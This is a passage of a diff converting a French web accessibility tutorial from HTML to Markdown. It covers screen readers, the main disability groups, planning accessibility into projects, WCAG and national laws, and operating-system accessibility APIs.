systèmes d'exploitation et navigateurs), et certains utilisent des lecteurs d'écran qui lisent le texte à voix haute:</p> +Cette catégorie comprend les personnes aveugles, malvoyantes, daltoniennes, etc. Beaucoup d'entre eux utilisent des agrandisseurs d'écran (soit de vraies loupes, soit la fonction loupe implémentée dans la plupart des systèmes d'exploitation et navigateurs), et certains utilisent des lecteurs d'écran qui lisent le texte à voix haute: -<ul> - <li>Certains, comme <a class="external external-icon" href="http://www.freedomscientific.com/Products/Blindness/JAWS">JAWS</a> (Windows) et <a class="external external-icon" href="http://www.gwmicro.com/window-eyes/">Window Eyes</a> (Windows), sont payants.</li> - <li>D'autres, comme <a class="external external-icon" href="http://www.nvaccess.org/">NVDA</a> (Windows), <a class="external external-icon" href="http://www.chromevox.com/">ChromeVox</a> (Chrome, Windows et Mac OS X), et <a class="external external-icon" href="https://wiki.gnome.org/Projects/Orca">Orca</a> (Linux) sont gratuits.</li> - <li>Certains sont intégrés au système d'exploitation, comme <a class="external external-icon" href="http://www.apple.com/accessibility/osx/voiceover/">VoiceOver</a> (Mac OS X et iOS), <a class="external external-icon" href="https://support.microsoft.com/en-us/help/22798/windows-10-narrator-get-started">Narrator</a> (Microsoft Windows), <a class="external external-icon" href="http://www.chromevox.com/">ChromeVox</a> (sur Chrome OS), et <a class="external external-icon" href="https://play.google.com/store/apps/details?id=com.google.android.marvin.talkback">TalkBack</a> (Android).</li> -</ul> +- Certains, comme [JAWS](http://www.freedomscientific.com/Products/Blindness/JAWS) (Windows) et [Window Eyes](http://www.gwmicro.com/window-eyes/) (Windows), sont payants. +- D'autres, comme [NVDA](http://www.nvaccess.org/) (Windows), [ChromeVox](http://www.chromevox.com/) (Chrome, Windows et Mac OS X), et [Orca](https://wiki.gnome.org/Projects/Orca) (Linux) sont gratuits. +- Certains sont intégrés au système d'exploitation, comme [VoiceOver](http://www.apple.com/accessibility/osx/voiceover/) (Mac OS X et iOS), [Narrator](https://support.microsoft.com/en-us/help/22798/windows-10-narrator-get-started) (Microsoft Windows), [ChromeVox](http://www.chromevox.com/) (sur Chrome OS), et [TalkBack](https://play.google.com/store/apps/details?id=com.google.android.marvin.talkback) (Android). -<p>Il est conseillé de se familiariser avec les lecteurs d'écran ; vous devriez installer un lecteur d'écran et expérimenter avec pour comprendre comment il marche. Lisez notre <a href="/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility#Screenreaders">Guide pour tester les lecteurs d'écrans sur différents navigateurs (en)</a> pour avoir plus d'information sur leur utilisation. La vidéo ci-dessous (en anglais) vous donne un bref aperçu de l'experience.</p> +Il est conseillé de se familiariser avec les lecteurs d'écran ; vous devriez installer un lecteur d'écran et expérimenter avec pour comprendre comment il marche. Lisez notre [Guide pour tester les lecteurs d'écrans sur différents navigateurs (en)](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility#Screenreaders) pour avoir plus d'information sur leur utilisation. La vidéo ci-dessous (en anglais) vous donne un bref aperçu de l'experience. -<p>{{EmbedYouTube("IK97XMibEws")}}</p> +{{EmbedYouTube("IK97XMibEws")}} -<p>Pour ce qui est des statistiques, l'Organisation mondiale de la santé estime que «253 millions de personnes présentent une déficience visuelle : 36 millions d’entre elles sont aveugles et 217 millions présentent une déficience visuelle modérée à sévère. » (Voir <a href="http://www.who.int/mediacentre/factsheets/fs282/fr/">Cécité et déficience visuelle</a>). Cela représente une part conséquente des utilisateurs que vous perdriez parce que votre site est mal codé — presque autant que la population des États-Unis.</p> +Pour ce qui est des statistiques, l'Organisation mondiale de la santé estime que «253 millions de personnes présentent une déficience visuelle : 36 millions d’entre elles sont aveugles et 217 millions présentent une déficience visuelle modérée à sévère. » (Voir [Cécité et déficience visuelle](http://www.who.int/mediacentre/factsheets/fs282/fr/)). Cela représente une part conséquente des utilisateurs que vous perdriez parce que votre site est mal codé — presque autant que la population des États-Unis. -<h3 id="Les_personnes_ayant_des_troubles_de_laudition">Les personnes ayant des troubles de l'audition</h3> +### Les personnes ayant des troubles de l'audition -<p>Aussi connues comme les personnes malentendantes ou sourdes, ce groupe correspond aux personnes qui ont perdu, partiellement ou totalement, la perception des sons. Les sourds et malentendants utilisent des technologies d'assistance (voir <a href="https://www.nidcd.nih.gov/health/assistive-devices-people-hearing-voice-speech-or-language-disorders">Aides techniques pour les personnes ayant des troubles de l'audition, de la voix, de la parole ou du langage (en)</a> ), mais il n'existe pas de technologies spécifiques pour l'utilisation du Web et des ordinateurs.</p> +Aussi connues comme les personnes malentendantes ou sourdes, ce groupe correspond aux personnes qui ont perdu, partiellement ou totalement, la perception des sons. Les sourds et malentendants utilisent des technologies d'assistance (voir [Aides techniques pour les personnes ayant des troubles de l'audition, de la voix, de la parole ou du langage (en)](https://www.nidcd.nih.gov/health/assistive-devices-people-hearing-voice-speech-or-language-disorders) ), mais il n'existe pas de technologies spécifiques pour l'utilisation du Web et des ordinateurs. -<p>Il existe cependant des techniques auxquelles il faut penser pour proposer des alternatives aux fichiers audios : de la simple transcription textuelle aux sous-titres qui peuvent être affichés en même temps que la vidéo. Un article décrira plus tard ces méthodes.</p> +Il existe cependant des techniques auxquelles il faut penser pour proposer des alternatives aux fichiers audios : de la simple transcription textuelle aux sous-titres qui peuvent être affichés en même temps que la vidéo. Un article décrira plus tard ces méthodes. -<p>Les sourds et malentendants représentent également une part significative des utilisateurs — «360 millions de personnes dans le monde souffrent de déficience auditive incapacitante», indique l'aide-mémoire <a href="http://www.who.int/mediacentre/factsheets/fs300/fr/">Surdité et déficience auditive</a> de l'Organisation Mondiale de la Santé.</p> +Les sourds et malentendants représentent également une part significative des utilisateurs — «360 millions de personnes dans le monde souffrent de déficience auditive incapacitante», indique l'aide-mémoire [Surdité et déficience auditive](http://www.who.int/mediacentre/factsheets/fs300/fr/) de l'Organisation Mondiale de la Santé. -<h3 id="Les_personnes_ayant_des_troubles_de_la_mobilité">Les personnes ayant des troubles de la mobilité</h3> +### Les personnes ayant des troubles de la mobilité -<p>Ces personnes ont un handicap ayant rapport au mouvement, qui peuvent comprendre des problèmes purement physique (comme la perte d'un membre ou la paralysie), ou des troubles psychologiques ou génétiques qui mènent à des faiblesse voire à une perte du contrôle des membres. Certains ont des difficultés à exécuter les mouvements précis de la main nécessaires à l'utilisation d'une souris, tandis que d'autres peuvent être plus sérieusement atteints, voire même être paralysés au point d'avoir à utiliser un pointeur frontal pour utiliser un ordinateur.</p> +Ces personnes ont un handicap ayant rapport au mouvement, qui peuvent comprendre des problèmes purement physique (comme la perte d'un membre ou la paralysie), ou des troubles psychologiques ou génétiques qui mènent à des faiblesse voire à une perte du contrôle des membres. Certains ont des difficultés à exécuter les mouvements précis de la main nécessaires à l'utilisation d'une souris, tandis que d'autres peuvent être plus sérieusement atteints, voire même être paralysés au point d'avoir à utiliser un pointeur frontal pour utiliser un ordinateur. -<p>Ce genre de handicap peut aussi venir avec l'âge, et non d'un accident ou d'une pathologie particulière, ou encore être la conséquence de limitations matérielles — certains utilisateurs peuvent ne pas avoir de souris.</p> +Ce genre de handicap peut aussi venir avec l'âge, et non d'un accident ou d'une pathologie particulière, ou encore être la conséquence de limitations matérielles — certains utilisateurs peuvent ne pas avoir de souris. -<p>En général, cela se traduit au niveau du développement web par la nécessité de rendre les contrôles accessible au clavier — nous discuterons de l'accessibilité au clavier plus tard dans d'autres articles du module, mais cela peut être une bonne idée d'essayer de naviguer sur certains sites en utilisant seulement le clavier. Par exemple, pouvez vous naviguer entre les différents champs d'un formulaire juste avec la touche <kbd>Tab</kbd> ? Vous trouverez plus de détails à propos de l'utilisation du clavier dans la section <a href="/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility#Using_native_keyboard_accessibility">Test d'accessibilité avec le clavier intégré entre différents navigateurs(en)</a>.</p> +En général, cela se traduit au niveau du développement web par la nécessité de rendre les contrôles accessible au clavier — nous discuterons de l'accessibilité au clavier plus tard dans d'autres articles du module, mais cela peut être une bonne idée d'essayer de naviguer sur certains sites en utilisant seulement le clavier. Par exemple, pouvez vous naviguer entre les différents champs d'un formulaire juste avec la touche <kbd>Tab</kbd> ? Vous trouverez plus de détails à propos de l'utilisation du clavier dans la section [Test d'accessibilité avec le clavier intégré entre différents navigateurs(en)](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility#Using_native_keyboard_accessibility). -<p>De nombreuses personnes souffrent de troubles de la mobilité. Par exemple, en France, 4% des personnes vivant en ménage ordinaire déclarent avoir des difficultés à se servir des mains et doigts, d'après la vue d'ensemble <a href="https://www.insee.fr/fr/statistiques/1372411?sommaire=1372421">L'approche du handicap par les limitations fonctionnelles et la restriction globale d'activité chez les adultes de 20 à 59 ans</a> de l'INSEE.</p> +De nombreuses personnes souffrent de troubles de la mobilité. Par exemple, en France, 4% des personnes vivant en ménage ordinaire déclarent avoir des difficultés à se servir des mains et doigts, d'après la vue d'ensemble [L'approche du handicap par les limitations fonctionnelles et la restriction globale d'activité chez les adultes de 20 à 59 ans](https://www.insee.fr/fr/statistiques/1372411?sommaire=1372421) de l'INSEE. -<h3 id="Personnes_ayant_des_déficiences_cognitives">Personnes ayant des déficiences cognitives</h3> +### Personnes ayant des déficiences cognitives -<p>La dernière catégorie d'incapacités est probablement la plus large. Les déficiences cognitives désignent généralement des incapacités allant des maladies mentales aux difficultés d'apprentissage, aux difficultés de compréhension et de concentration telles que <a href="https://naitreetgrandir.com/fr/mauxenfants/indexmaladiesa_z/fiche.aspx?doc=naitre-grandir-sante-enfant-trouble-deficit-attention-hyperactivite-tdah">TDAH-trouble d'hyperactivité avec déficit de l'attention</a>, <a href="https://cenop.ca/troubles-comportement/tsa-trouble-spectre-autisme.php">TSA-trouble du spectre de l’autisme</a>, aux personnes atteintes de <a href="http://www.psycom.org/Espace-Presse/Sante-mentale-de-A-a-Z/Schizophrenie-s">schizophrénie</a>, et à de nombreux autres types de désordres, qui peuvent affecter de nombreux aspects de la vie quotidienne en raison de problèmes de mémoire, de résolution de problèmes, de compréhension, d'attention, etc. </p> +La dernière catégorie d'incapacités est probablement la plus large. Les déficiences cognitives désignent généralement des incapacités allant des maladies mentales aux difficultés d'apprentissage, aux difficultés de compréhension et de concentration telles que [TDAH-trouble d'hyperactivité avec déficit de l'attention](https://naitreetgrandir.com/fr/mauxenfants/indexmaladiesa_z/fiche.aspx?doc=naitre-grandir-sante-enfant-trouble-deficit-attention-hyperactivite-tdah), [TSA-trouble du spectre de l’autisme](https://cenop.ca/troubles-comportement/tsa-trouble-spectre-autisme.php), aux personnes atteintes de [schizophrénie](http://www.psycom.org/Espace-Presse/Sante-mentale-de-A-a-Z/Schizophrenie-s), et à de nombreux autres types de désordres, qui peuvent affecter de nombreux aspects de la vie quotidienne en raison de problèmes de mémoire, de résolution de problèmes, de compréhension, d'attention, etc. -<p>Le plus souvent, ces incapacités peuvent affecter l'utilisation du site web : difficulté à comprendre comment effectuer une tâche, à se rappeler comment effectuer une tâche déjà accomplie ou à une frustration accrue en cas de confusion dans les flux de travail ou d'incohérences dans la présentation / navigation / autre page.</p> +Le plus souvent, ces incapacités peuvent affecter l'utilisation du site web : difficulté à comprendre comment effectuer une tâche, à se rappeler comment effectuer une tâche déjà accomplie ou à une frustration accrue en cas de confusion dans les flux de travail ou d'incohérences dans la présentation / navigation / autre page. -<p>Contrairement à d’autres problèmes d’accessibilité web, il est impossible de prescrire des solutions rapides à de nombreux problèmes d’accessibilité web résultant de déficiences cognitives ; la meilleure chance que vous ayez est de concevoir vos sites web de manière à être aussi logiques, cohérents et utilisables que possible. Par exemple, assurez-vous que :</p> +Contrairement à d’autres problèmes d’accessibilité web, il est impossible de prescrire des solutions rapides à de nombreux problèmes d’accessibilité web résultant de déficiences cognitives ; la meilleure chance que vous ayez est de concevoir vos sites web de manière à être aussi logiques, cohérents et utilisables que possible. Par exemple, assurez-vous que : -<ul> - <li>les pages sont cohérentes — la navigation, l'en-tête, le pied de page et le contenu principal se trouvent toujours aux mêmes endroits.</li> - <li>les outils sont bien conçus et faciles à utiliser.</li> - <li>Les processus en plusieurs étapes sont divisés en étapes logiques, avec des rappels réguliers de l'état d'avancement du processus et du temps qu'il vous reste pour terminer le processus, le cas échéant.</li> - <li>Les workflows sont logiques, simples et nécessitent le moins d’interactions possible. Par exemple, l'inscription et la connexion à un site web sont souvent complexes.</li> - <li>les pages ne sont ni trop longues ni trop denses en termes de quantité d'informations présentées à la fois.</li> - <li>le langage utilisé dans vos pages est aussi simple et clair que possible, et ne contient pas un jargon et un argot inutiles.</li> - <li>les points importants et le contenu sont mis en évidence.</li> - <li>les erreurs des utilisateurs sont clairement mises en évidence, avec des messages d'aide suggérant des solutions.</li> -</ul> +- les pages sont cohérentes — la navigation, l'en-tête, le pied de page et le contenu principal se trouvent toujours aux mêmes endroits. +- les outils sont bien conçus et faciles à utiliser. +- Les processus en plusieurs étapes sont divisés en étapes logiques, avec des rappels réguliers de l'état d'avancement du processus et du temps qu'il vous reste pour terminer le processus, le cas échéant. +- Les workflows sont logiques, simples et nécessitent le moins d’interactions possible. Par exemple, l'inscription et la connexion à un site web sont souvent complexes. +- les pages ne sont ni trop longues ni trop denses en termes de quantité d'informations présentées à la fois. +- le langage utilisé dans vos pages est aussi simple et clair que possible, et ne contient pas un jargon et un argot inutiles. +- les points importants et le contenu sont mis en évidence. +- les erreurs des utilisateurs sont clairement mises en évidence, avec des messages d'aide suggérant des solutions. -<p>Ce ne sont pas des "techniques d'accessibilité" en tant que telles, ce sont de bonnes pratiques de conception. Elles profiteront à tous ceux qui utilisent vos sites et devraient faire partie intégrante de votre travail.</p> +Ce ne sont pas des "techniques d'accessibilité" en tant que telles, ce sont de bonnes pratiques de conception. Elles profiteront à tous ceux qui utilisent vos sites et devraient faire partie intégrante de votre travail. -<p>En termes de statistiques, encore une fois, les chiffres sont importants. Le r<a href="http://www.disabilitystatistics.org/StatusReports/2014-PDF/2014-StatusReport_US.pdf">apport 2014 sur le statut d'invalidité </a> (PDF, 511KB) de l'Université de Cornell indique qu'en 2014, 4,5% des Américains âgés de 21 à 64 ans présentaient une forme de déficience cognitive .</p> +En termes de statistiques, encore une fois, les chiffres sont importants. Le r[apport 2014 sur le statut d'invalidité ](http://www.disabilitystatistics.org/StatusReports/2014-PDF/2014-StatusReport_US.pdf)(PDF, 511KB) de l'Université de Cornell indique qu'en 2014, 4,5% des Américains âgés de 21 à 64 ans présentaient une forme de déficience cognitive . -<div class="note"> -<p><strong>Note :</strong> La page <a href="https://apprendreaeduquer.fr/fonctions-cognitives/">cognitives</a> de apprendreaeduquer fournit une extension utile de ces idées et mérite certainement d'être lue. </p> -</div> +> **Note :** La page [cognitives](https://apprendreaeduquer.fr/fonctions-cognitives/) de apprendreaeduquer fournit une extension utile de ces idées et mérite certainement d'être lue. -<h2 id="Implémentation_de_laccessibilité_dans_votre_projet">Implémentation de l'accessibilité dans votre projet</h2> +## Implémentation de l'accessibilité dans votre projet -<p>Un mythe commun en matière d'accessibilité est que l'accessibilité est un "supplément" coûteux à mettre en œuvre sur un projet. Ce mythe peut en réalité être vrai si :</p> +Un mythe commun en matière d'accessibilité est que l'accessibilité est un "supplément" coûteux à mettre en œuvre sur un projet. Ce mythe peut en réalité être vrai si : -<ul> - <li>Vous essayez de "moderniser" l'accessibilité sur un site Web existant qui présente d'importants problèmes d'accessibilité.</li> - <li>Vous avez seulement commencé à prendre en compte l'accessibilité et à découvrir des problèmes liés aux dernières étapes d'un projet.</li> -</ul> +- Vous essayez de "moderniser" l'accessibilité sur un site Web existant qui présente d'importants problèmes d'accessibilité. +- Vous avez seulement commencé à prendre en compte l'accessibilité et à découvrir des problèmes liés aux dernières étapes d'un projet. -<p>Cependant, si vous envisagez l'accessibilité dès le début d'un projet, le coût de la plupart des contenus accessibles devrait être assez minime.</p> +Cependant, si vous envisagez l'accessibilité dès le début d'un projet, le coût de la plupart des contenus accessibles devrait être assez minime. -<p>Lors de la planification de votre projet, tenez compte des tests d'accessibilité dans votre programme de tests, comme pour tout autre segment d'audience cible important (par exemple, les navigateurs de bureau ou mobiles cibles). Testez tôt et souvent, en exécutant idéalement des tests automatisés pour détecter les fonctionnalités manquantes détectables par programme (telles que les images manquantes <a href="/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility#Text_alternatives">alternative text</a> ou le texte du lien incorrect — voir <a href="/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility#Element_relationships_and_context">Element relationships and context</a>), et en effectuant des tests avec des groupes d'utilisateurs désactivés pour voir comment. des fonctionnalités de site plus complexes fonctionnent pour eux, par exemple:</p> +Lors de la planification de votre projet, tenez compte des tests d'accessibilité dans votre programme de tests, comme pour tout autre segment d'audience cible important (par exemple, les navigateurs de bureau ou mobiles cibles). Testez tôt et souvent, en exécutant idéalement des tests automatisés pour détecter les fonctionnalités manquantes détectables par programme (telles que les images manquantes [alternative text](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility#Text_alternatives) ou le texte du lien incorrect — voir [Element relationships and context](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility#Element_relationships_and_context)), et en effectuant des tests avec des groupes d'utilisateurs désactivés pour voir comment. des fonctionnalités de site plus complexes fonctionnent pour eux, par exemple: -<ul> - <li>Mon widget de sélecteur de date est-il utilisable par les personnes utilisant des lecteurs d'écran ?</li> - <li>Si le contenu est mis à jour de manière dynamique, les personnes malvoyantes le savent-elles ?</li> - <li>Les boutons de mon UI sont-ils accessibles via le clavier et les interfaces tactiles ?</li> -</ul> +- Mon widget de sélecteur de date est-il utilisable par les personnes utilisant des lecteurs d'écran ? +- Si le contenu est mis à jour de manière dynamique, les personnes malvoyantes le savent-elles ? +- Les boutons de mon UI sont-ils accessibles via le clavier et les interfaces tactiles ? -<p>Vous pouvez et devez garder une note sur les problèmes potentiels de votre contenu qui devront être redessinés pour le rendre accessible, assurez-vous qu'il a été testé minutieusement et réfléchissez aux solutions / alternatives. Le contenu textuel (comme vous le verrez dans le prochain article) est simple, mais qu'en est-il de votre contenu multimédia et de vos graphismes 3D fantastiques ? Vous devriez examiner le budget de votre projet et réfléchir de manière réaliste aux solutions disponibles pour rendre ce contenu accessible ? Vous pourriez avoir à payer pour que tout votre contenu multimédia soit transcrit, ce qui peut être coûteux, mais réalisable.</p> +Vous pouvez et devez garder une note sur les problèmes potentiels de votre contenu qui devront être redessinés pour le rendre accessible, assurez-vous qu'il a été testé minutieusement et réfléchissez aux solutions / alternatives. Le contenu textuel (comme vous le verrez dans le prochain article) est simple, mais qu'en est-il de votre contenu multimédia et de vos graphismes 3D fantastiques ? Vous devriez examiner le budget de votre projet et réfléchir de manière réaliste aux solutions disponibles pour rendre ce contenu accessible ? Vous pourriez avoir à payer pour que tout votre contenu multimédia soit transcrit, ce qui peut être coûteux, mais réalisable. -<p>Aussi, soyez réaliste. "100% d'accessibilité" est un idéal impossible à obtenir — vous rencontrerez toujours un type de problème qui oblige un utilisateur à trouver certains contenus difficiles à utiliser — mais vous devez en faire autant que vous le pouvez. Si vous envisagez d'inclure un graphique à secteurs 3D ultra-graphique créé à l'aide de WebGL, vous pouvez inclure un tableau de données en tant que représentation alternative accessible des données. Vous pouvez également simplement inclure la table et supprimer le graphique à secteurs 3D : la table est accessible à tous, plus rapide à coder, moins gourmande en temps processeur et plus facile à gérer. </p> +Aussi, soyez réaliste. "100% d'accessibilité" est un idéal impossible à obtenir — vous rencontrerez toujours un type de problème qui oblige un utilisateur à trouver certains contenus difficiles à utiliser — mais vous devez en faire autant que vous le pouvez. Si vous envisagez d'inclure un graphique à secteurs 3D ultra-graphique créé à l'aide de WebGL, vous pouvez inclure un tableau de données en tant que représentation alternative accessible des données. Vous pouvez également simplement inclure la table et supprimer le graphique à secteurs 3D : la table est accessible à tous, plus rapide à coder, moins gourmande en temps processeur et plus facile à gérer. -<p>D'autre part, si vous travaillez sur un site web de galerie présentant des œuvres d'art 3D intéressantes, il serait déraisonnable de s'attendre à ce que chaque œuvre d'art soit parfaitement accessible aux personnes malvoyantes, étant donné qu'il s'agit d'un support entièrement visuel.</p> +D'autre part, si vous travaillez sur un site web de galerie présentant des œuvres d'art 3D intéressantes, il serait déraisonnable de s'attendre à ce que chaque œuvre d'art soit parfaitement accessible aux personnes malvoyantes, étant donné qu'il s'agit d'un support entièrement visuel. -<p>Pour montrer que vous vous souciez de l'accessibilité et que vous en avez pensé, publiez sur votre site une déclaration d'accessibilité détaillant votre politique en matière d'accessibilité et les mesures que vous avez prises pour rendre le site accessible. Si quelqu'un se plaint de ce que votre site a un problème d'accessibilité, commencez un dialogue avec elle, faites preuve d'empathie et prenez les mesures qui s'imposent pour tenter de résoudre le problème.</p> +Pour montrer que vous vous souciez de l'accessibilité et que vous en avez pensé, publiez sur votre site une déclaration d'accessibilité détaillant votre politique en matière d'accessibilité et les mesures que vous avez prises pour rendre le site accessible. Si quelqu'un se plaint de ce que votre site a un problème d'accessibilité, commencez un dialogue avec elle, faites preuve d'empathie et prenez les mesures qui s'imposent pour tenter de résoudre le problème. -<div class="note"> -<p><strong>Note :</strong> Notre article <a href="/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibilité#Using_native_keyboard_accessibility"> Gérer les problèmes courants d'accessibilité</a> couvre les spécificités d'accessibilité qui doivent être testées plus en détail.</p> -</div> +> **Note :** Notre article [ Gérer les problèmes courants d'accessibilité](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibilité#Using_native_keyboard_accessibility) couvre les spécificités d'accessibilité qui doivent être testées plus en détail. -<p>Résumer :</p> +Résumer : -<ul> - <li>Pensez à l'accessibilité dès le début d'un projet et testez tôt et souvent. Comme tout autre bogue, un problème d'accessibilité devient d'autant plus coûteux à résoudre qu'il est découvert tard.</li> - <li>N'oubliez pas que de nombreuses pratiques optimales en matière d'accessibilité profitent à tout le monde, pas uniquement aux utilisateurs handicapés. Par exemple, le balisage sémantique lean n’est pas seulement bon pour les lecteurs d’écran, il est également rapide à charger et performant, donc meilleur pour tout le monde, en particulier pour les appareils mobiles et/ou les connexions lentes.</li> - <li>Publier une déclaration d'accessibilité sur votre site et interagir avec les personnes ayant des problèmes.</li> -</ul> +- Pensez à l'accessibilité dès le début d'un projet et testez tôt et souvent. Comme tout autre bogue, un problème d'accessibilité devient d'autant plus coûteux à résoudre qu'il est découvert tard. +- N'oubliez pas que de nombreuses pratiques optimales en matière d'accessibilité profitent à tout le monde, pas uniquement aux utilisateurs handicapés. Par exemple, le balisage sémantique lean n’est pas seulement bon pour les lecteurs d’écran, il est également rapide à charger et performant, donc meilleur pour tout le monde, en particulier pour les appareils mobiles et/ou les connexions lentes. +- Publier une déclaration d'accessibilité sur votre site et interagir avec les personnes ayant des problèmes. -<h2 id="Directives_daccessibilité_et_loi">Directives d'accessibilité et loi</h2> +## Directives d'accessibilité et loi -<p>Il existe de nombreuses listes de contrôle et ensembles de directives disponibles sur lesquels baser les tests d'accessibilité, ce qui peut sembler fastidieux à première vue. Notre conseil est de vous familiariser avec les domaines fondamentaux dans lesquels vous devez prendre soin, ainsi que de comprendre les structures de haut niveau des directives qui vous sont le plus utiles.</p> +Il existe de nombreuses listes de contrôle et ensembles de directives disponibles sur lesquels baser les tests d'accessibilité, ce qui peut sembler fastidieux à première vue. Notre conseil est de vous familiariser avec les domaines fondamentaux dans lesquels vous devez prendre soin, ainsi que de comprendre les structures de haut niveau des directives qui vous sont le plus utiles. -<ul> - <li>Pour commencer, le W3C a publié un document volumineux et très détaillé qui inclut des critères très précis, indépendants de la technologie, pour la conformité de l'accessibilité. Celles-ci s'appellent le <a href="https://www.w3.org/WAI/intro/wcag.php">Web Content Accessibility Guidelines</a> (WCAG), et ne constituent en aucun cas une lecture brève. Les critères sont divisés en quatre catégories principales, qui spécifient comment les implémentations peuvent être rendues perceptibles, exploitables, compréhensibles et robustes. Le meilleur endroit pour commencer à apprendre et <a href="https://www.w3.org/WAI/WCAG20/glance/Overview.html">WCAG at a Glance</a>. Il n'est pas nécessaire d'apprendre le WCAG par cœur — soyez conscient des principaux problèmes et utilisez une variété de techniques et d'outils pour mettre en évidence les domaines qui ne sont pas conformes aux critères du WCAG (voir ci-dessous pour plus d'informations). </li> - <li>Votre pays peut également avoir une législation spécifique régissant la nécessité d’accéder aux sites web desservant leur population — par exemple <a href="http://www.section508.gov/content/learn">Section 508 of the Rehabilitation Act</a> en US, <a href="https://www.einfach-fuer-alle.de/artikel/bitv_english/">Federal Ordinance on Barrier-Free Information Technology</a> en Germany, la lois sur <a href="http://www.legislation.gov.uk/ukpga/2010/15/contents">Equality Act</a> Royaume-Uni, <a href="http://www.agid.gov.it/agenda-digitale/pubblica-amministrazione/accessibilita">Accessibilità</a> en Italy, le <a href="https://www.humanrights.gov.au/world-wide-web-access-disability-discrimination-act-advisory-notes-ver-41-2014">Disability Discrimination Act</a> en Australia, etc.</li> -</ul> +- Pour commencer, le W3C a publié un document volumineux et très détaillé qui inclut des critères très précis, indépendants de la technologie, pour la conformité de l'accessibilité. Celles-ci s'appellent le [Web Content Accessibility Guidelines](https://www.w3.org/WAI/intro/wcag.php) (WCAG), et ne constituent en aucun cas une lecture brève. Les critères sont divisés en quatre catégories principales, qui spécifient comment les implémentations peuvent être rendues perceptibles, exploitables, compréhensibles et robustes. Le meilleur endroit pour commencer à apprendre et [WCAG at a Glance](https://www.w3.org/WAI/WCAG20/glance/Overview.html). Il n'est pas nécessaire d'apprendre le WCAG par cœur — soyez conscient des principaux problèmes et utilisez une variété de techniques et d'outils pour mettre en évidence les domaines qui ne sont pas conformes aux critères du WCAG (voir ci-dessous pour plus d'informations). +- Votre pays peut également avoir une législation spécifique régissant la nécessité d’accéder aux sites web desservant leur population — par exemple [Section 508 of the Rehabilitation Act](http://www.section508.gov/content/learn) en US, [Federal Ordinance on Barrier-Free Information Technology](https://www.einfach-fuer-alle.de/artikel/bitv_english/) en Germany, la lois sur [Equality Act](http://www.legislation.gov.uk/ukpga/2010/15/contents) Royaume-Uni, [Accessibilità](http://www.agid.gov.it/agenda-digitale/pubblica-amministrazione/accessibilita) en Italy, le [Disability Discrimination Act](https://www.humanrights.gov.au/world-wide-web-access-disability-discrimination-act-advisory-notes-ver-41-2014) en Australia, etc. -<p>Ainsi, alors que le WCAG est un ensemble de directives, votre pays aura probablement des lois régissant l’accessibilité du Web, ou du moins l’accessibilité des services accessibles au public (sites web, télévision, espaces physiques, etc.). C’est une bonne idée. pour savoir quelles sont vos lois. Si vous ne faites aucun effort pour vérifier que votre contenu est accessible, vous pourriez éventuellement avoir des ennuis avec la loi si les personnes handicapées s'en plaignent.</p> +Ainsi, alors que le WCAG est un ensemble de directives, votre pays aura probablement des lois régissant l’accessibilité du Web, ou du moins l’accessibilité des services accessibles au public (sites web, télévision, espaces physiques, etc.). C’est une bonne idée. pour savoir quelles sont vos lois. Si vous ne faites aucun effort pour vérifier que votre contenu est accessible, vous pourriez éventuellement avoir des ennuis avec la loi si les personnes handicapées s'en plaignent. -<p>Cela semble sérieux, mais vous devez vraiment considérer l'accessibilité comme une priorité principale de vos pratiques de développement web, comme indiqué ci-dessus. En cas de doute, demandez conseil à un avocat qualifié. Nous n'allons pas donner plus de conseils que cela, car nous ne sommes pas des avocats.</p> +Cela semble sérieux, mais vous devez vraiment considérer l'accessibilité comme une priorité principale de vos pratiques de développement web, comme indiqué ci-dessus. En cas de doute, demandez conseil à un avocat qualifié. Nous n'allons pas donner plus de conseils que cela, car nous ne sommes pas des avocats. -<h2 id="API_daccessibilité">API d'accessibilité</h2> +## API d'accessibilité -<p>Les navigateurs web utilisent des <strong>API d’accessibilité</strong> spéciales (fournies par le système d’exploitation sous-jacent) qui présentent des informations utiles pour les technologies d’aide (TA) — les TA ont généralement tendance à utiliser des informations sémantiques. Ces informations ne comprennent donc pas les informations de style, ou JavaScript. Ces informations sont structurées dans une arborescence d'informations appelée <strong>arborescence d'accessibilité</strong>.</p> +Les navigateurs web utilisent des **API d’accessibilité** spéciales (fournies par le système d’exploitation sous-jacent) qui présentent des informations utiles pour les technologies d’aide (TA) — les TA ont généralement tendance à utiliser des informations sémantiques. Ces informations ne comprennent donc pas les informations de style, ou JavaScript. Ces informations sont structurées dans une arborescence d'informations appelée **arborescence d'accessibilité**. -<p>Différents systèmes d'exploitation ont différentes API d'accessibilité disponibles :</p> +Différents systèmes d'exploitation ont différentes API d'accessibilité disponibles : -<ul> - <li>Windows: MSAA/IAccessible, UIAExpress, IAccessible2</li> - <li>Mac OS X: NSAccessibility</li> - <li>Linux: AT-SPI</li> - <li>Android: Accessibility framework</li> - <li>iOS: UIAccessibility</li> -</ul> +- Windows: MSAA/IAccessible, UIAExpress, IAccessible2 +- Mac OS X: NSAccessibility +- Linux: AT-SPI +- Android: Accessibility framework +- iOS: UIAccessibility -<p>Lorsque les informations sémantiques natives fournies par les éléments HTML dans vos applications Web tombent, vous pouvez les compléter avec des fonctionnalités de la <a href="https://www.w3.org/TR/wai-aria/">WAI-ARIA specification</a>, qui ajoutent des informations sémantiques à l’arbre d’accessibilité pour améliorer l’accessibilité. Vous pouvez en apprendre beaucoup plus sur WAI-ARIA dans notre article sur les bases de <a href="/fr/docs/Learn/Accessibility/WAI-ARIA_basics">WAI-ARIA basics</a>.</p> +Lorsque les informations sémantiques natives fournies par les éléments HTML dans vos applications Web tombent, vous pouvez les compléter avec des fonctionnalités de la [WAI-ARIA specification](https://www.w3.org/TR/wai-aria/), qui ajoutent des informations sémantiques à l’arbre d’accessibilité pour améliorer l’accessibilité. Vous pouvez en apprendre beaucoup plus sur WAI-ARIA dans notre article sur les bases de [WAI-ARIA basics](/fr/docs/Learn/Accessibility/WAI-ARIA_basics). -<h2 id="Résumé">Résumé</h2> +## Résumé -<p>Cet article aurait dû 